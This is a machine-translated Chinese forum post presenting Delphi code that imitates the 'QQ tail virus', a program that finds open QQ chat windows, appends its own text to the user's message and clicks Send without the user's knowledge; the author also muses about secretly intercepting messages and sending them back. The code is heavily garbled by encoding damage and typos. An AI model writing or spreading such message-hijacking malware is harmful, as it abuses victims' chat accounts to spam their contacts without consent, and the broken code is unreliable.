Another implementation of QQ tail virus

zhaozj2021-02-16  46

I saw a few days ago? Wuqiu brother simulated QQ tail virus,

I think it is not very common by finding the form header.

Go back with spy to view it, the original, QQ framework is like this

?

Among them, # 32770 (dialog box) is the pop-up QQ chat interface; the internal control is as shown in the figure above, there is Static (label), buttton, AfxWnd42 (this I guess like Panel containers), Richedit (this The inside is to show our chat record)

The specific layout is not a thin saying, you can open Spy to see it, at a glance

Among them, we use only two controls, as shown below:

The first half is the handle, the middle is the title, the second half is the name

Such as: 05240258 ~ Send (& S) ~ Button

Is the send button, the handle is 05240258

Ok, I know these, I am very simple to do something.

All code is as follows:

?

Procedure TForm1.Timer1Timer (Sender: Tobject); var ?? hmemo, hrichedit, hwindow, hbutton: thandle; // handle variable ?? sztext ??????????: array [0..255] of char ?? // Get the string ?? mytext ??????????: string ;? // Send string begin ?? hwindow: = 0; // From scratch, ie from the first One formal form starts traversal

?? While True Do ????? begin

???????? // Find the form of # 32770 (dialog box) ???????? Hwindow: = FindWindowEx (0, hwindow, '# 32770', nil); ???? ???? if hwindow <> 0 the ??????????? begin

?????????????? // found a form of AFXWND42 (this I guess like a container of PANEL ?????????????? HMEMO: = FindWindowEx (Hwindow , 0, 'afxWnd42', nil); ?????????????? f f h <<> 0 THEN ???????? begin

??????????????????? // find a richedit form ????????????????????? HRICHEDIT: = FindWindowEx (hmemo, 0, 'richedit', nil); ???????????????????? f HRICHEDIT <> 0 THEN ??????????? ???????????? begin

?????????????????????????, what is it, 嘿 ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????? mytext: = '?????????? Ade is a big handsome guy, 嘿嘿';

??????????????????????????? // sent a message, get the text in QQ ??????????????? ??????????? SendMessage (hrichedit, wm_gettext, 256, ???????????????????? INTEGER ( @sztext [0]));

????????????????????????????, plus his own words ???????????????????????????????????????? ???????? mytext: = sztext mytext; ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? = ??????????????????????? SendMessage (HRICHEDIT, WM_SETTEXT, 256, ?????????????????? ???????? INTEGER (MyText));

??????????????????????????? // find the send button ???????????????????? ?????? hbutton: = findwindowex (hwindow, 0, 'button ", ???????????????????? (& S) ');

??????????????????????????? // sent a click message, send it ????????????????????????????? ???????? SendMessage (Hbutton, BM_Click, 0, 0);

???????????????????????????? // exit, if you remove this sentence, give all open QQ forms

???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????? breaf; ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????? End; ??????????? end; ????? end;

?

This is only a guess for the QQ tail, there are many places that don't have any interest, such as the text displayed in QQ and then send it, just as long as the Wuqiu brother, as long as the news is intercepted , Then secretly send it back, you will not know that gods don't feel

?

转载请注明原文地址:https://www.9cbs.com/read-25035.html

New Post(0)